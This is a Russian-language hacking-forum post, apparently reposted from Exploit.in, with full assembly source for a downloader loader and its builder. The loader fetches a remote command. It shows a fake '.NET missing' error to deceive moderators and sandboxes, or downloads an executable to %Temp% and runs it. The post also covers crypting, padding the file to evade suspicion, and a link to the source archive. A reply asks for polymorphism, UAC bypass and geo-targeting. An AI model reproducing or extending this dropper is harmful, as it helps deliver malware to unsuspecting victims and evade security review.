• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Пишем лоадер для обхода модерации

Parzival

Местный
Сообщения
80
Реакции
216
0 руб.
статья взята с експлойта.

Метод подходит для прохода множества количества модераций. Например, можно скрывать свой файл от ловкого глаза селлера лоадов
ph34r.gif


В конце статьи полные сорцы и билдер

Как же будем проходить модерацию?

Нам необходимо, чтобы при запуске нашего файла модератор увидел нечто безобидное. И когда мы начнем лить - уже выполняло свои функции.

Тут варианта два.

1) Обнаружение песочниц и виртуалок
2) Активация по команде.

Первый вариант нам не подходит, так как скорее всего нам не удастся спалить виртуалку или что там.

Если биржа крупная я сомневаюсь, что будут проверять вручную. Скорее это будут онлайновые ав песочницы. И нам надо будет подготовиться.

Поэтому я реализовал 2-й вариант. Как он работает?

Heo70Zg.jpg


Приступим к кодингу. Кодить будем на асме.

Лоадер

Код:
call    ReceiveCommand
.if eax = 1                               ; waitable state, fake activity
   call        FakeActivity
.elseif                                   ; else download payload

   .if eax = 2
       call        MakeInstalls
       test        eax, eax
       jnz         ExitProc                  ; if succeed - exit
       invoke      Sleep, 10000
       jmp         start                     ; if failed repeat with 10 sec timeout
   .elseif
       invoke      Sleep, 10000
       jmp         start                     ; unknown command received
   .endif

.endif

Основная логика софта. Если полученная команда фейк - то фейк активность, если урл, то качаем и врубаем файл. Если неизвестная команда или не удается скачать, то все повторяем с таймаутом в 10 секунд.

Функция получения команды проста

Код:
proc    ReceiveCommand                 ; get command type
; [return values]
; eax - command type
;    [1] - fake activity
;    other - download
;    if url then eax = 2, ecx = url
;    if unknown then eax = 0

push    url
call    GetPageContent
test    eax, eax
je      @wtf                           ; if failed - return unknown command

cmp     dword [eax], 'Fake'
je      @RetTrue                       ; return 1 if fake command

cmp     dword [eax], 'http'
jnz     @wtf                           ; return 0 unknown command

mov     ecx, eax                       ; return url if http
mov     eax, 2

ret

@RetTrue:
invoke  VirtualFree, eax, 0, MEM_RELEASE
mov     eax, 1
ret

@wtf:
invoke  VirtualFree, eax, 0, MEM_RELEASE
xor     eax, eax
ret

endp

Она сравнивает первые 4 байта с 'Fake' или 'http' и на основе этого делает вывод.

Для получения команды используется функция GetPageContent, вот ее содержимое.


Код:
proc GetPageContent, url
local hInternet:DWORD
local hUrl:DWORD
local lpMemory:DWORD
local dwSize:DWORD

local lpdwIndex:DWORD
local lpdwBufferLength:DWORD
local lpvBuffer:DWORD

local tmpshit:DWORD

jmp     proc_body

useragent du 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',0,0

wininet             du 'wininet',0,0
Shlwapi             du 'Shlwapi',0,0
StrToIntA           db 'StrToIntA',0
InternetOpen        db 'InternetOpenW',0
InternetCloseHandle db 'InternetCloseHandle',0
InternetOpenUrl     db 'InternetOpenUrlW',0
HttpQueryInfo       db 'HttpQueryInfoA', 0
InternetReadFile    db 'InternetReadFile',0

proc_body:

push    wininet
push    InternetOpen
call    GetApi

push    0
push    0
push    0
push    0
push    useragent
call    eax                            ;InternetOpen(useragent, 0, 0, 0, 0)

.if eax = 0                            ; if failed
   ret
.endif
mov     [hInternet], eax


InternetOpenUrl_loop:

push    wininet
push    InternetOpenUrl
call    GetApi

push    0
push    04000000                     ; INTERNET_NO_CACHE_WRITE
push    0
push    0
push    [url]
mov     ecx, [hInternet]
push    ecx
call    eax                            ; InternetOpenUrl(hInternet, url, 0, 0, INTERNET_NO_CACHE_WRITE, 0)

test    eax, eax
jnz     UrlOpened                      ; if urlopen failed repeat with 10 sec timeout

invoke  Sleep, 10000
jmp     InternetOpenUrl_loop

UrlOpened:
mov     [hUrl], eax

push    wininet
push    HttpQueryInfo
call    GetApi
push    eax

mov     [lpdwIndex], 0
lea     ecx, [lpdwIndex]
push    ecx
mov     [lpdwBufferLength], 0
lea     ecx, [lpdwBufferLength]
push    ecx
lea     ecx, [lpvBuffer]
push    ecx
push    5
mov     ecx, [hUrl]
push    ecx
call    eax                             ; HttpQueryInfo

mov     ecx, [lpdwBufferLength]         ; required size
inc     ecx

invoke  VirtualAlloc, 0, ecx, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE

pop     edx    ;HttpQuery

push    edi
mov     edi, eax

mov     [lpdwIndex], 0
lea     ecx, [lpdwIndex]
push    ecx
lea     ecx, [lpdwBufferLength]
push    ecx
push    edi
push    5
mov     ecx, [hUrl]
push    ecx
call    edx                             ; HttpQueryInfo


push    Shlwapi
push    StrToIntA
call    GetApi
push    edi
call    eax
mov     [dwSize], eax

invoke  VirtualAlloc, 0, eax, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
test    eax, eax
mov     [lpMemory], eax
push    esi
mov     esi, eax


ReadTheShit:
push    wininet
push    InternetReadFile
call    GetApi

lea     ecx, [tmpshit]
push    ecx
push    1024
push    esi
mov     ecx, [hUrl]
push    ecx
call    eax
test    eax, eax
jz      Finished

mov     ecx, [tmpshit]
test    ecx, ecx
je      Finished

add     esi, ecx
jmp     ReadTheShit

Finished:

pop     esi


push    wininet
push    InternetCloseHandle
call    GetApi

push    ebx
mov     ebx, eax

mov     ecx, [hUrl]
push    ecx
call    ebx

mov     ecx, [hInternet]
push    ecx
call    ebx; InternetCloseHandle(hInternet)

pop     ebx

invoke  VirtualFree, edi, 0, MEM_RELEASE
pop     edi

mov     eax, [lpMemory]
mov     ecx, [dwSize]

ret

endp

Сначала подключается по урлу, потом получает размер страницы через функцию HttpQueryInfo, читая content-length. После чего выделяет память нужного размера и блоками в 1 кб читает страницу.

Посмотрим содержимое MakeInstalls, которая отвечает за скачивание файла


Код:
proc    MakeInstalls           ; download payload
;  [params]
;  ecx - url
;  [return values]
;  eax - true/false

local tmpshit:DWORD
local retval:DWORD
local buf:DWORD
local dwSize:DWORD

mov     [retval], 0

pushad
mov     ebx, ecx

invoke  lstrlenA, ebx
mov     ecx, ebx
add     ecx, eax
dec     ecx
cmp     byte [ecx], 0Ah
jnz     @SkipStrip

mov     byte [ecx], 0                  ; strip url

@SkipStrip:

invoke  lstrlenA, ebx
add     eax, eax
add     eax, 4

invoke  VirtualAlloc, 0, eax, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
push    eax

cinvoke wsprintfW, eax, '%S', ebx

invoke  VirtualFree, ebx, 0, MEM_RELEASE
pop     ebx

push    ebx
call    GetPageContent
test    eax, eax
je      @ErrDownloading

mov     [buf], eax
mov     [dwSize], ecx


invoke  VirtualAlloc, 0, 514, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
mov     edi, eax

invoke  GetTempPathW, 256, edi
invoke  lstrcatW, edi, '\exploit.in.exe'


invoke  CreateFile, edi, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov     esi, eax
.if esi <> 0FFFFFFFFh

       lea     edx, [tmpshit]
       invoke  WriteFile, esi, [buf], [dwSize], edx, 0

       .if eax = 1
           invoke CloseHandle, esi
           invoke ShellExecuteW, 0, 'open', edi, 0, 0, SW_SHOW
           .if eax > 32
               mov [retval], 1
           .endif
       .elseif
           invoke  CloseHandle, esi
       .endif

.endif

invoke  VirtualFree, edi, 0, MEM_RELEASE
invoke  VirtualFree, ebx, 0, MEM_RELEASE

popad

mov     eax, [retval]
ret

@ErrDownloading:

invoke  VirtualFree, ebx, 0, MEM_RELEASE
popad
xor     eax, eax

endp

Вполне ожидаемо. Создает файл в %Temp%, сохраняет туда полученный файл и врубает. Кстати, для получения файла юзается та же функция, что юзалась функцией получения команды.

Функция FakeActivity может быть любой. Хоть краш, хоть отрисовка окошка. Я для простоты вывожу ошибку что нет дотнета.


Код:
proc    FakeActivity           ; generate fake activity

invoke  MessageBoxW, 0, 'You are required to install Microsoft .NET Framework 4.5', 'Error: .NET missed', MB_ICONERROR
ret

Тупо согласен, но вроде прокатило
laugh.gif


Можете прихерачить сюда отрисовку окошечка или еще че на ваш вкус.

На этом все. Полученный лоадер весит 3.5 килобайта.

Билдер

Используем директиву file чтобы вшить внутрь билдера стаб:


Код:
[FONT=verdana]
stub: file '..\Moderoad.exe'

FILESIZE = $ - stub

Создаем консоль и получаем хэндлы

Код:
invoke  AllocConsole

invoke  GetStdHandle, STD_OUTPUT_HANDLE
mov     edi, eax
invoke  GetStdHandle, STD_INPUT_HANDLE
mov     esi, eax

Производим чтение урла и патчинг файла.


Код:
invoke  ReadFile, esi, ebx, 256, esp, 0

invoke  lstrlenA, ebx
sub     eax, 2
mov     byte [ebx + eax], 0

lea     ecx, [stub + 200h]
cinvoke wsprintfW, ecx, form, ebx

invoke  CreateFile, 'loader.exe', GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
.if     eax <> 0FFFFFFFFh
       push   eax
       invoke WriteFile, eax, stub, FILESIZE, esp, 0
       pop     eax
       invoke  CloseHandle, eax

       invoke  lstrlenA, saved
       invoke  WriteFile, edi, saved, eax, esp, 0
.elseif

invoke  lstrlenA, Error
invoke  WriteFile, edi, Error, eax, esp, 0


Юзать предельно просто, врубаем builder.exe и вводим урл.

b709gLk.jpg


Получаем пропатченный loader.exe


Полученный loader.exe криптуем долгоживущим криптом. Если размер после крипта тоже маленький, то открываем файл в блокноте и дописываем в конце N-е количество байт примерно до 1 мегабайта, чтобы не вызывать подозрений
ph34r.gif



После этого по урлу юзаем следующие команды:

в файл task.txt кладем:

1) Fake - тогда вызывается фейк активность

nqpi7QB.jpg


2) http://server.com/file.exe - качается файл по урлу и запускается

F4kRhx3.jpg


Сорцы и билдер:

https://www.sendspace.com/file/1rceir
пасс exploit.in

Не забывайте юзать стойкий крипт.
[/FONT]
 

Chipbro777

Новичок
Сообщения
2
Реакции
2
0 руб.
Кто автор статьи скинь ник с экспы, еще интереснее кто шарит как дополнить софт полиморфом , админкой с разбвикой по гео и юзер агентам , обходом uac, и билбилдером для длл и резидент , нерезидетн версиями , ну и обходом проактивок .
 
Сверху Снизу